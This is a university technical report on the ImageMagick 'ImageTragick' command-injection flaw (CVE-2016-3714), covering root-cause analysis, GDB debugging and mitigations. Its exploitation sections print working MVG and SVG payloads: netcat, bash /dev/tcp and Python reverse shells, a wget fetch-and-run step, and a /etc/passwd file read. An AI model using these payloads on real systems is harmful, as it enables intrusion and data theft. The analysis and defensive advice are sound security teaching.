Technical Report on CVE-2016-3714 "ImageTragick"

Benjamin Simmonds (5233344), UNSW Canberra

September 2019

Abstract

ImageMagick is a widely deployed, general purpose image processing library written in C. Over the past few years hundreds of security related issues have been identified. This paper considers one such instance of a remote code execution vulnerability discovered in 2016 under CVE-2016-3714.

Contents

Introduction

ImageMagick is a widely deployed, general purpose image processing library written in C, most commonly used to resize, transcode or annotate user supplied images on the web. Originally developed in 1987 and open sourced in 1990, with a large ecosystem of bindings for most programming languages, has established an enormous user base over the last 3 decades.

Given its maturity, performance and permissive licencing, *ImageMagick* is commonly employed for backend image processing for most consumer related software that deal with images, typically web and mobile applications.

In the past few years, dozens of vulnerabilities have been discovered, the worst of them allow remote code execution using a malicious image.

Nature of vulnerability

Stewie (https://hackerone.com/stewie) found the initial bug, and Nikolay Ermishkin (`__sl1m`) from the Mail.Ru Security Team found additional issues, including the remote code execution (RCE) vulnerability.

In the specific case of *CVE-2016-3714*, it was discovered that ImageMagick did not properly sanitise certain input before passing it to the delegate command functionality. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would lead to arbitrary execution of shell commands with the privileges of the user running the application, consequently making it possible to acheive remote code execution (RCE).

All versions below *6.9.3-9* are affected.

Trigger conditions

CVE 2016-3714 focuses on a possible shell injection vulnerability with ImageMagick. It is actually the combination of a number of vulnerabilities.

1. That it's possible to provide input images, that don't meet the magic string requirements for its expected legitimate file type. The first few bytes of a file can often used be used to identify the type of file it represents. Some examples are *tiff* images which start with the hex bytes `49 49 2A 00`, and *jpeg* images which start with `FF D8`.
2. That the default coders hardening policy (`policy.xml`) is lax, allowing all types of delegates to be invoked from the get go.
3. That the delegate implementation, go to not effort to sanitising or verify the hygiene of the input buffer it subsequently passes to a `system()` call

Exploitability assessment

As Zalewski (2016) puts it, the ImageTragick flaw is most notable for its ease of exploitation, "an embarrassingly simple shell command injection bug reminiscent of the security weaknesses prevalent in the 90's, and nearly extinct in core libraries in use today".

On my Kali machine, ships with a 2019 patched version 6.9.10-23 of the ImageMagick utilities and libraries:

```
# convert --version
Version: ImageMagick 6.9.10-23 Q16 x86_64 20190101 https://imagemagick.org
Copyright: © 1999-2019 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC Modules OpenMP
Delegates (built-in): bzlib djvu fftw fontconfig freetype heic jbig jng...
```

Crafting a payload to take advantage of the vulnerability:

```
# cat exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/spl017.jpg"|ls "-la)'
pop graphic-context
```

Testing the vulnerability with an image payload, yields a "not a JPEG" file, as file type checking code has been introduced in recent times.

```
# convert exploit.mvg exploit.png
convert-im6.q16: Not a JPEG file: starts with 0x70 0x75 `rce1.jpg' @ error/jpeg.c/JPEGErr
    orHandler/335.
convert-im6.q16: no images defined `rce1.png' @ error/convert.c/ConvertImageCommand/3258.
```

After downloading a pre `6.9.3-10` version of the ImageMagick source code, in this case `6.9.2-10`, from sourceforge.net, got a local build of the binaries.

```
./configure
make
```

Attempting to `convert` (one of the most feature laden ImageMagick binaries) using the `6.9.2-10` build, with the exploit input image:

```
root@kali:~/git/PoCs# ./exploit.sh
total 84
drwxr-xr-x 3 root root  4096 Sep 28 15:43 .
drwxr-xr-x 3 root root  4096 Sep 28 13:29 ..
-rw-r--r-- 1 root root   112 Sep 28 15:43 exploit.mvg
-rw-r--r-- 1 root root   111 Sep 28 15:41 exploit.png
-rwxr-xr-x 1 root root   241 Sep 28 15:33 exploit.sh
drwxr-xr-x 8 root root  4096 Sep 28 09:31 .git
convert: unrecognized color `https://localhost/sp1017.jpg"|ls ...
convert: unable to open image `/tmp/magick-22459XyJrh1pYEj2M':...
convert: unable to open file `/tmp/magick-22459XyJrh1pYEj2M': ...
convert: non-conforming drawing primitive definition `fill' @ ...
```

Yields a `ls -la` listing of the current directory. Not good.

Further examining the `6.9.2-10` build of ImageMagick using `test.sh`, the ImageMagick vulnerability litmus test script (see *Appendix A*):

```
root@kali:~/git/PoCs# ./test.sh
testing read
UNSAFE
```

```
testing delete
UNSAFE

testing http with local port: 39426
SAFE

testing http with nonce: 989236bb
SAFE

testing rce1
UNSAFE

testing rce2
UNSAFE

testing MSL
UNSAFE
```

As seen from the output, a number of vulnerabilities are exploitable.

Exploitability assessment — local shells

Using specifically compiled version `6.9.2-10` of ImageMagick, pre the exposure of the *ImageTragick* vulnerabilities in mid 2016.

```
root@kali:~/Downloads/ImageMagick-6.9.2-10# ./utilities/convert --version
Version: ImageMagick 6.9.2-10 Q16 x86_64 2019-09-28 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2016 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC OpenMP
Delegates (built-in): x
```

Using same payload as used earlier in this write up. Take note of the embedded `ls -la` shell command appended with an `|` (the logical OR pipe operator).

exploit.mvg:

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/spl017.jpg"|ls "-la)'
pop graphic-context
```

Note that an `mvg` file is used for Magick Vector Graphics.

> The Magick Vector Graphics (MVG) specification is a modularized language for describing two-dimensional vector and mixed vector/raster graphics in ImageMagick. You can use the language to draw from the command line, from an MVG file, from an SVG – Scalable Vector Graphics file or from one of the ImageMagick program interfaces.

The following example MVG command will render an arc:

```
convert -size 100x60 canvas:skyblue -fill white -stroke black \
  -draw "path 'M 30,40  A 30,20  20  0,0 70,20 A 30,20  20  1,0 30,40 Z '" \
  arc.png
```

Given this is a full blown DSL (domain specific language), the above exploit takes advantage of the `fill` command it supports, giving it an `https` based URL to work with.

```
fill 'url(https://127.0.0.0/spl017.jpg"|ls "-la)'
```

exploit.sh:

```
#! /usr/bin/env bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
IDENTIFY=/root/Downloads/ImageMagick-6.9.2-10/utilities/identify
CONVERT=/root/Downloads/ImageMagick-6.9.2-10/utilities/convert
$CONVERT exploit.mvg exploit.png
```

Attempting to `convert` (one of the most feature laden ImageMagick binaries) using the `6.9.2-10` build:

```
root@kali:~/git/PoCs# ./exploit.sh
total 84
drwxr-xr-x 3 root root  4096 Sep 28 15:43 .
drwxr-xr-x 3 root root  4096 Sep 28 13:29 ..
-rw-r--r-- 1 root root   112 Sep 28 15:43 exploit.mvg
-rw-r--r-- 1 root root   111 Sep 28 15:41 exploit.png
-rwxr-xr-x 1 root root   241 Sep 28 15:33 exploit.sh
drwxr-xr-x 8 root root  4096 Sep 28 09:31 .git
convert: unrecognized color `https://localhost/sp1017.jpg"|ls "-...
convert: unable to open image `/tmp/magick-22459XyJrh1pYEj2M': N...
convert: unable to open file `/tmp/magick-22459XyJrh1pYEj2M': No...
convert: non-conforming drawing primitive definition `fill' @ er...
```

Can see the exploit in action, with the `ls -la` listing in action, just prior to the failed conversion output.

Exploitability assessment — reverse shells

Taking the MVG shell leakage vulnerability further, Shih (2016) has shared a number of remote shell focused proof of concepts that leverage a variety of options depending whats available on the target host.

For all the following samples, a netcat listener is running on the kali attacker host.

```
root@kali:~# nc -l -p 443
```

Also, for convenience the 6.9.2-10 build of the ImageMagick `convert` and `identify` utilities is set as two shell variables:

```
root@kali:~# export CONVERT=/root/Downloads/ImageMagick-6.9.2-10/utilities/convert
root@kali:~# export IDENTIFY=/root/Downloads/ImageMagick-6.9.2-10/utilities/identify
```

Netcat reverse shell with an MVG image input

```
root@kali:~/git/PoCs# cat > shell.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|nc -e "/bin/sh" "127.0.0.1" "443)'
pop graphic-context
```

Run it:

```
root@kali:~/git/PoCs# $CONVERT shell.mvg out.png
^C    <------ netcat connection
convert: unrecognized color `https://example.com/image.jpg"|nc...
convert: delegate failed `"curl" -s -k -L -o "%o" "https:%M"' @...
convert: no decode delegate for this image format `HTTPS' @ err...
convert: non-conforming drawing primitive definition `fill' @ e...
```

While over on the remote netcat listener:

```
root@kali:~# nc -l -p 443
uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
whoami
root
```

Bash reverse shell with an SVG image input

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://deadbeef.org/nop.jpg&quot;|bash -i &gt;&amp;
    /dev/tcp/127.0.0.1/443 0&gt;&amp;&quot;1" x="0" y="0" height="640px" width="480px"/>
</svg>
```

Run it:

```
root@kali:~/git/PoCs# $CONVERT shell.svg out.png
^C    <------ netcat connection
convert: delegate failed `"rsvg-convert" -o "%o" "%i"' @ error/delegate.c/InvokeDeleg
   ate/1332.
convert: unable to open image `/tmp/magick-2120p5S-EVdwLpBN': No such file or directo
   ry @ error/blob.c/OpenBlob/2702.
convert: unable to open file `/tmp/magick-2120p5S-EVdwLpBN': No such file or director
   y @ error/constitute.c/ReadImage/540.
convert: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3241.
```

While over on the remote netcat listener:

```
root@kali:~# nc -l -p 443
uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
date
Sun 29 Sep 2019 04:07:46 PM AEST
```

Python reverse shell with MVG image input

This time another MVG based payload, but leveraging python which needs to be on the vulnerable host.

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://deadbeef.io/n0p.jpg"|wget
```

```
   http://127.0.0.1/x.py -o /tmp/x.py && python /tmp/x.py")'
pop graphic-context
```

The payload will download a python script using wget from a known host, and executes the script.

The python script binds to the netcat listener and `subprocess.Popen` shelling out the commands, and piping back in stdout to the socket.

```
import socket
import os
import subprocess

s = socket.socket()

host = "127.0.0.1"
port = 443

s.connect((host, port))

while True:
  data = s.recv(1024)
  if data[:2].decode("utf-8") == 'cd':
    os.chdir(data[3:].decode("utf-8"))

  if len(data) > 0:
    cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
      stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    output_bytes = cmd.stdout.read() + cmd.stderr.read()
    output_str = str(output_bytes, "utf-8")

    s.send(str.encode(output_str + str(os.getcwd()) + '> '))
    print(output_str)

s.close()
```

While back on the netcat instance on the attacker host, have a working remote shell:

```
root@kali:~/Downloads/ImageMagick-6.9.2-10# nc -l -p 443
uname
Linux
/root/git/PoCs> date
Sun 29 Sep 2019 04:24:52 PM AEST
/root/git/PoCs>
```

A variation would be to pack the python, avoiding the download step which adds a level of brittleness to the exploit, as the host might not have outbound network connectivity, and so on:

```
fill 'url(https://example.com/image.jpg"|/bin/echo -e \'import
socket\x2csubprocess\x2cos;s=socket.socket(socket.af_inet\x2csocket.sock_stream);
s.connect(("xx.xx.24.85"\x2c443));p=subprocess.call(\x5b"/bin/sh"\x2c"-i"\x5d);\'
> /dev/shm/a.py|python "/dev/shm/a.py)'
```

Local file read

In a similar vain to the insufficient shell character filtering potentially enabling remote code execution, ImageMagicks `label` psudeo protocol, opens a whole other can of worms, making it possible to read the contents of any file. The below example file input payload, when fed into the `convert` utility, will literally read `/etc/passwd`, and render its contents in the output `out.png`.

The input image payload `read.jpg`:

```
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
popgraphic-context
```

Invoking ImageMagick's `convert` utility to take the image as input, will convert and render it as another output:

```
convert read.jpg out.png 2>/dev/null 1>/dev/null
```

Examining the output rendered file:

```
root@kali:~/git/PoCs# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
```

Root cause analysis

As Zalewski (2016) puts it, the ImageTragick flaw is most notable for its ease of exploitation.

> "an embarrassingly simple shell command injection bug reminiscent of the security weaknesses prevalent in the 90's, and nearly extinct in core libraries in use today" (Zalewski (2016))

For all of ImageMagick's virtues, it is not designed with malicious inputs in mind, and has a long and colorful history of lesser known but equally serious security flaws. If you had only one data point, look no further than the work done by Cunningham (2014) circa 2014. Cunningham (2014) fuzzed ImageMagick with a `afl-fuzz`, and soon revealed nearly a couple of dozen exploitable security holes.

A more recent fuzzing effort by Böck (2016) uncovered another family of heap related bugs, using only off-the-shelf fuzzing tools.

It seems, short of a major redesign the entire ImageMagick codebase, the trickle of security vulnerabilities won't be stopping anytime soon. It just hasn't been designed with security in mind.

The SVG and MVG file formats (micro languages)

Perhaps the most dangerous aspect of ImageMagick lies in its implementation of micro languages (DSL's) for the Scalable Vector Graphic (the W3C standardised vector format) and its own Magick Vector Graphics (MVG) specification. These specifications, whilst powerful, bring with them a insane amount of complexity, and potential specification misinterpretion and security vulnerabilities in their implementations.

> The Magick Vector Graphics (MVG) specification is a modularized language for describing two-dimensional vector and mixed vector/raster graphics in ImageMagick. You can use the language to draw from the command line, from an MVG file, from an SVG – Scalable Vector Graphics file or from one of the ImageMagick program interfaces.

The following example MVG command will render an arc:

```
convert -size 100x60 canvas:skyblue -fill white -stroke black \
  -draw "path 'M 30,40  A 30,20  20  0,0 70,20 A 30,20  20  1,0 30,40 Z '" \
  arc.png
```

A more malicous varient of MVG that injects some extra shell:

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
```

Similarly SVG's are just as dangerous:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
   xmlns="http://www.w3.org/2000/svg";
   xmlns:xlink="http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&amp;quot;|ls &amp;quot;-la"
  x="0" y="0" height="640px" width="480px"/>
</svg>
```

Analysis of exploitation pathways

In terms of complexity to make use of the exploit, it sits on the simpler side, requiring little effort or skill.

Given ImageMagick is a go to heavy lifting image processing library put to work by many, coupled with a code execution bug, could enable attackers to gain code execution in hosts that themselves have no remote network access.

Delegate commands

ImageMagick supports translating image data from a variety of sources and formats. This is implemented in a flexible "pluggable" manner through the concept of a *delegate*. Three kinds of delegates are catered for (as documented in `delegates.xml` which ships with ImageMagick):

- **Translators**: Commands which specify `decode="in_format" encode="out_format"`, set the rules for converting from `in_format` to `out_format`. These rules may be used to translate directly between formats.
- **Decoders**: Commands which specify only `decode="in_format"` specify the rules for converting from `in_format` to some format that ImageMagick will automatically recognise. These rules are used to decode formats.
- **Encoders**: Commands which specify only `encode="out_format"` specify the rules for an "encoder" which may accept any input format.

Delegates is implemented using the `system()` call, which defers its work by shelling out to some other program passing in the necessary arguments. In fact the an XML configuration file called `delegates.xml` is used to provide the mapping of the delegate to the specific shell command that relates to accomplishing the task of the delegate.

Some examples from `delegates.xml`:

A decoder for PowerPoint Presentations (`ppt`):

```
<delegate decode="pptx" command="&quot;soffice&quot; --headless --convert-to pdf
  --outdir `dirname &quot;%i&quot;` &quot;%i&quot; 2&gt; &quot;%Z&quot;; mv
  &quot;%i.pdf&quot; &quot;%o&quot;"/>
```

An encoder that can format to an `mpeg` using `ffmpeg`:

```
  <delegate encode="mpeg:encode" stealth="True" command="&quot;ffmpeg&quot;
    -nostdin -v -1 -i &quot;%M%%d.jpg&quot; &quot;%u.%m&quot; 2&gt; &quot;%Z&quot;"/>
```

A decoder that can resolve image data from an `https` source:

```
root@kali:~/Downloads/ImageMagick-6.9.2-10# cat config/delegates.xml | grep https
  <delegate decode="https" command="&quot;curl&quot; -s -k -L -o &quot;%o&quot;
     &quot;https:%M&quot;"/>
```

Unpacking the `https` decoder a little further, XML un-escaping the command attribute (i.e. `&quot;` symnbols etc) get this:

```
"curl" -s -k -L -o "%o" "https:%M"
```

If this buffer could be manipulated to run subsequently commands, like this following for example:

```
"curl" -s -k -L -o "%o" "https://127.0.0.0/spl017.jpg"|ls "-la"
```

The shell will see this as two commands, separated by a logical OR `|`, which means it will basically evaluate the first expression, if that fails, will move on to the second expression (in this case the `ls -la`).

With `%M` being the actual image hyperlink location from the URI from the `fill` command. To get the buffer to set as above, could set the `fill` command with a url source as follows (note the careful use of double quotes, to ensure the commands on the shell correctly line up):

```
fill 'url(https://127.0.0.0/spl017.jpg"|ls "-la)'
```

ImageMagick allows to process files with external libraries. This feature is called *delegate*. It is implemented as a `system()` with command string ('command') from the config file `delegates.xml` with actual value for different params (input/output filenames etc). Due to insufficient `%M` param filtering it is possible to conduct shell command injection.

To get a idea where in the source tree to start investigating, a quick `grep` over all the *.c files:

```
root@kali:~/Downloads/ImageMagick-6.9.2-10# grep -rnw . --include *.c -e 'https'
./coders/url.c:314:  entry->description=ConstantString("Uniform Resource Locator
   (https://)");
./tests/validate.c:833:     Reference: https://code.google.com/p/chroma.
./magick/delegate.c:98:    "  <delegate decode=\"https\" command=\"&quot;wget&quot;
   -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"
./magick/paint.c:571:        Reference https://drafts.csswg.org/css-images-3/#linea
   r-gradients.
```

The `./magick/delegate.c:98` hit looks most relevant, as there is a good chance this relates to the delegate implementation itself. First I'm interested in the use of any `system` calls:

The `ExternalDelegateCommand` function seems to be responsible for these:

```
#if defined(MAGICKCORE_POSIX_SUPPORT)
#if !defined(MAGICKCORE_HAVE_EXECVP)
  status=system(sanitize_command);
#else
```

Which is called by the `InvokeDelegate` function, which is the entry point to the whole delegate system:

```
 status=ExternalDelegateCommand(delegate_info->spawn,image_info->verbose,
   command,(char *) NULL,exception) != 0 ? MagickTrue : MagickFalse;
```

The command [to the delegate] is appears to be determined by `InterpretImageProperties`:

```
command=InterpretImageProperties(image_info,image,commands[i]);
```

Locating its implementation again with `grep`:

```
root@kali:~/Downloads/ImageMagick-6.9.2-10# grep -rnw . --include *.c -e
   'InterpretImageProperties' --color
./magick/property.c:3296:MagickExport char *InterpretImageProperties(const
   ImageInfo *image_info,
```

Here we can see all the `%` based format specifier logic. In the specific case of the `https` specifier:

```
"curl" -s -k -L -o "%o" "https:%M"
```

Can see the use of the `%M` token, which is taken care of by these lines here (2576-2583 in `./magick/property.c`):

```
case 'M':
{
  /*
    Magick filename - filename given incl. coder & read mods.
  */
  string=image->magick_filename;
  break;
}
```

Debugging with GDB

First the binaries need to be recompiled with debug symbols, and ideally no compiler optimisations.

Re-run the `configure` script with `CFLAGS` options to:

- add debug symbols with `ggdb`
- x86 with `m32`
- level 0 optimisations with `O0`

As follows.

```
./configure CXXFLAGS="-ggdb -m32 -O0" CFLAGS="-ggdb -m32 -fno-pie -O0"
make -j 4
```

Wait a few minutes for the new build to finish, and verify it worked.

```
root@kali:~/Downloads/ImageMagick-6.9.2-10/utilities/.libs# ./convert --version
Version: ImageMagick 6.9.2-10 Q16 x86_64 2019-09-28 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2016 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC OpenMP
Delegates (built-in):
```

Looks good.

`convert` is actually a shell script that wraps the call to the real built binary in `.libs/convert` is actually generated by GNU libtool, which sets up some environment (`LD_LIBRARY_PATH`) so needed libraries can be located by the linker at runtime.

```
program='convert'
progdir="$thisdir/.libs"

if test -f "$progdir/$program"; then
  # Add our own library path to LD_LIBRARY_PATH
  LD_LIBRARY_PATH="/root/Downloads/ImageMagick-6.9.2-10/magick/.libs:/root/Downloads/ \
    ImageMagick-6.9.2-10/wand/.libs:$LD_LIBRARY_PATH"

  # Some systems cannot cope with colon-terminated LD_LIBRARY_PATH
  # The second colon is a workaround for a bug in BeOS R4 sed
  LD_LIBRARY_PATH=`$ECHO "$LD_LIBRARY_PATH" | /usr/bin/sed 's/::*$//'`

  export LD_LIBRARY_PATH

  if test "$libtool_execute_magic" != "%%%MAGIC variable%%%"; then
    # Run the actual program with our arguments.
    func_exec_program ${1+"$@"}
  fi
else
```

So that `gdb` can run the `convert` binary successfully, need to recreate the environment before launching `gdb`.

```
root@kali:~/Downloads/ImageMagick-6.9.2-10/utilities# LD_LIBRARY_PATH="/root/Downloads/ \
  ImageMagick-6.9.2-10/magick/.libs:/root/Downloads/ImageMagick-6.9.2-10/wand/.libs: \
  $LD_LIBRARY_PATH"
root@kali:~/Downloads/ImageMagick-6.9.2-10/utilities/.libs# export LD_LIBRARY_PATH
```

Now in the `.libs` directory:

```
root@kali:~/Downloads/ImageMagick-6.9.2-10/utilities# cd .libs
root@kali:~/Downloads/ImageMagick-6.9.2-10/utilities/.libs# ls
animate  compare  composite  conjure  convert  display  identify  import  mogrify
   montage  stream
```

With everything in place, are ready to start `gdb`:

```
root@kali:~/Downloads/ImageMagick-6.9.2-10/utilities/.libs# gdb convert
gdb-peda$ break main
Breakpoint 1 at 0x1299: file utilities/convert.c, line 92.
gdb-peda$ r /root/git/PoCs/exploit.mvg /root/git/PoCs/exploit.png
Breakpoint 1, main (argc=0x3, argv=0xffffd294) at utilities/convert.c:92
```

```
92    return(ConvertMain(argc,argv));
```

Now the main break has been hit, can set breaks on modules that have been dynamically linked, like the `ExternalDelegateCommand` where delegate commands (which is a large part of the vulnerability lies):

```
gdb-peda$ break ExternalDelegateCommand
Breakpoint 2 at 0xf7ca12c6: file magick/delegate.c, line 367.
gdb-peda$ c
```

From looking at the source code earlier, found line 402 in `delegate.c` is where the `system()` call gets invoked for the delegate command, like this:

```
status=system(sanitize_command);
```

I'll try to break on that specific line:

```
gdb-peda$ break delegate.c:402
Breakpoint 3 at 0xf7ca149b: file magick/delegate.c, line 404.
gdb-peda$ c
Breakpoint 3, ExternalDelegateCommand (asynchronous=MagickFalse, verbose=MagickFalse,
    command=0x565fcae0 "\"wget\" -q -O \"/tmp/magick-16728_BYEqAKAG7Qu\"
       \"https://localhost/sp1017.jpg\"|ls \"-la\"", message=0x0, exception=0x5658b9c8)
    at magick/delegate.c:404
404   if ((asynchronous != MagickFalse) ||
```

Success! In `gdb` I get `peda` to dump the memory around the stack pointer, which shows the `sanitize_command` variable that is passed into `system`. As shown it doesn't look so sanitzed, with the `"|ls "-la` tacked on the back of the buffer.

```
[-------------------------------------stack--------------------------------------]
0000| 0xfffe35f0 --> 0xf7ffd000 --> 0x28f2c
0004| 0xfffe35f4 --> 0xf7c313c0 --> 0x675f5f00 ('')
0008| 0xfffe35f8 --> 0x5655a014 --> 0x707
0012| 0xfffe35fc --> 0xf79b050a (<__close+42>:  cmp    eax,0xfffff000)
0016| 0xfffe3600 --> 0x7
0020| 0xfffe3604 --> 0xf7c2b2f0 --> 0x290f
0024| 0xfffe3608 --> 0x5655b4c0 --> 0x0
0028| 0xfffe360c --> 0x565f2600 ("\"wget\" -q -O \"/tmp/magick-16728_BYEqAKAG7Qu\"
    \"https://localhost/sp1017.jpg\"|ls \"-la\"")
```

Mitigation recommendations

1. The first and most basic recommendation (Zalewski (2016)) is to not use ImageMagick, if it can be avoided. Instead consider making direct use of libraries such as `libpng`, `libjpeg-turbo` or `giflib`. For secure and robust integration with these libraries, examine the Chromium and Mozilla browser source trees, which both make heavy use of these libraries.
2. If you have to use ImageMagick on untrusted inputs, consider sandboxing the code with `seccomp-bpf` or an equivalent mechanism such as a Docker container, that robustly restricts access to all user space artifacts and to the kernel attack surface. Rudimentary sandboxing technologies, such as `chroot()` or UID separation, are likely insufficient.
3. If all other options fail, verify that all image files begin with the expected "magic bytes" signatures corresponding to the image file typesm you support before sending them downstream to ImageMagick for processing (Huber (2016)). Be zealous about limiting the set of image

formats you actually pass down to ImageMagick. At minimum thoroughly examine the header bytes of the received files.

4. Explicitly specify the input format when calling ImageMagick utilities, as to preempt auto-detection code. For command-line invocations, this can be done like so: `convert [...other params...] -- jpg:input-file.jpg jpg:output-file.jpg`
5. The JPEG, PNG, and GIF handling code in ImageMagick is considerably more robust than the code that supports PCX, MVG, TGA, SVG, PSD.
6. Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick by default is in `/etc/ImageMagick`. The following `policy.xml` shown disables the coders EPHEMERAL, URL, MVG and MSL (the most harmful). See example `policy.xml` below.
7. As per Red Hat (2016) recommendation, disarm shared objects for these modules such as the `MVG` (Magick Vector Graphic) support `mv mvg.so mvg.so.bak`, `mv mvg.so mvg.so.bak` and `mv label.so label.so.bak`.

Sample coders policy to harden and disable certain functionality within ImageMagick:

```
<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>
```

Verifying the coders policy with the `test.sh` ImageMagick vulnerability litmus test script (see *Appendix A*):

```
root@kali:~/git/PoCs# ./test.sh
testing read
SAFE

testing delete
SAFE

testing http with local port: 39426
SAFE

testing http with nonce: 989236bb
SAFE

testing rce1
SAFE

testing rce2
SAFE

testing MSL
SAFE
```

Shows that indeed the coders policy put a stop to the MVG and HTTP security holes that make CVE-2016-3714 so powerful.

Threat usage intelligence

Goldberg (2019) makes the case that vulnerable software is just the status quo when it comes to the computing industry. While efforts to address security vulnerabilities musn't stop, the fact is that most data centres that run workloads utilise software binaries from the past. Security efforts - time, resources, budget - needs to be carefully cut up between perimeter security and defence in depth.

For all of ImageMagick's virtues, it is not designed with malicious inputs in mind, and has a long and colorful history of lesser known but equally serious security flaws (Zalewski (2016)). If you had only one data point, look no further than the work done by Cunningham (2014) circa 2014. Cunningham (2014) fuzzed ImageMagick with a `afl-fuzz`, and soon revealed nearly a couple of dozen exploitable security holes.

A more recent fuzzing effort by Böck (2016) uncovered another family of heap related bugs, using only off-the-shelf fuzzing tools.

Searching for CVE's relating to ImageMagick in 2019 reveals over 500, now patched, vulnerabilities, with new ones poping up every month. Documenting some of the worst, including at the top ImageTragick, this focus of this paper.

1. *ImageTragick* or CVE-2016–3714 (RCE) with sibling CVE's CVE-2016–3718 (SSRF), CVE-2016–3715 (File deletion), CVE-2016–3716 (File moving), CVE-2016–3717 (Local file read)
2. *gifoeb* or CVE-2017–15277. Discovered by Emil Lerner in 2017 July. This vulnerability is a memory leakage in GIF images processing. ImageMagick leaves the palette uninitialized if neither global nor local palette is present, and a memory leak occurs exactly through the palette.
3. GhostScript Type Confusion RCE (CVE-2017–8291), discovered in May 2017. It's not an ImageMagick vulnerability, but it affects it as ImageMagick uses ghostscript to handle certain types of images with PostScript, i.e. EPS, PDF files.
4. CVE-2018–16509, another RCE in GhostScript, found in August 2018.

According to experts, attackers used a bot to scan multiple file upload URLs (e.g. /upload.php and / imgupload.php) to find potential targets. They then sent a harmless-looking JPEG file that contained code to create a reverse shell to an IP address that researchers believe serves as command and control (C&C) for hacked servers. Web performance and security company CloudFlare reported on Monday that it observed several types of exploits. Some of them seem to be used just to check if a certain server is plagued by the ImageTragick vulnerability (Kovacs (2016)).

While its difficult to precisely measure just how wide reaching CVE-2016-3714 is, what is known is that ImageMagick is incredibly popular in the web community for dealing with image processing. The prolific creation of web applications from the 90's up until 2016 that have employed ImageMagick in some form would be a huge number. These could be small scale sites, or legacy versions of the library integrated into large enterprise applications tucked away in the dark corners of big data centres.

ImageMagick, albeit its history of security problems, is just too widely adopted and deployed to eradicate or patch ancient versions with the very latest patched binaries. Given its gigantic footprint, as a core workhorse image processing library, its highly probable that ImageMagick has been and will continue to be a convenient source of gaining remote code execution and other attack vectors for some time.

Appendix A – ImageMagick vulnerability litmus test

Slightly modified version of `test.sh` from ImageTragick Git repository (Foster (2016)), runs a series of vulnerabilities relating to CVE-2016-3714.

```
#! /usr/bin/env bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"

IDENTIFY=/root/Downloads/ImageMagick-6.9.2-10/utilities/identify
CONVERT=/root/Downloads/ImageMagick-6.9.2-10/utilities/convert

# test for convert and identify
type $IDENTIFY >/dev/null 2>&1 || { echo >&2 "Aborting."; exit 1; }
type $CONVERT >/dev/null 2>&1 || { echo >&2 "Aborting."; exit 1; }



# Uncomment these two lines to test with a local copy of policy.xml
MAGICK_CONFIGURE_PATH=$DIR
export MAGICK_CONFIGURE_PATH



# Finding MD5 calculator
#echo "finding MD5 calculator"
for f in md5sum md5
do
    MD5SUM_EXE=`which $f 2> /dev/null`
    if test ${MD5SUM_EXE}; then
        break
    fi
done
if ! test ${MD5SUM_EXE}; then
    echo >&2 "not found. Aborting."
    exit 1
fi

echo "testing read"
echo "Hello World" > readme
#echo "##### convert ######"
$CONVERT read.jpg readme.png 2>/dev/null 1>/dev/null
#echo "####################"
if [ ! -e readme.png ]
then
    echo "SAFE"
else
    echo "UNSAFE"
    rm readme.png
fi
rm readme
echo ""
```

```
echo "testing delete"
touch delme
#echo "#### identify ######"
$IDENTIFY delete.jpg 2>/dev/null 1>/dev/null
#echo "####################"
if [ -e delme ]
then
    echo "SAFE"
    rm delme
else
    echo "UNSAFE"
fi
echo ""

#random port above 16K
PORT=$(($RANDOM + 16384))
echo "testing http with local port: ${PORT}"
# silence job control messages
set -b
# setup a dummy http server
printf "HTTP/1.0 200 OK\n\n" | nc -l ${PORT} > requestheaders 2>/dev/null &
if test $? -ne 0; then
    echo >&2 "failed to listen on localhost:${PORT}"
    exit 1
fi
sed "s/PORT/${PORT}/g" localhost_http.jpg > localhost_http1.jpg
$IDENTIFY localhost_http1.jpg 2>/dev/null 1>/dev/null
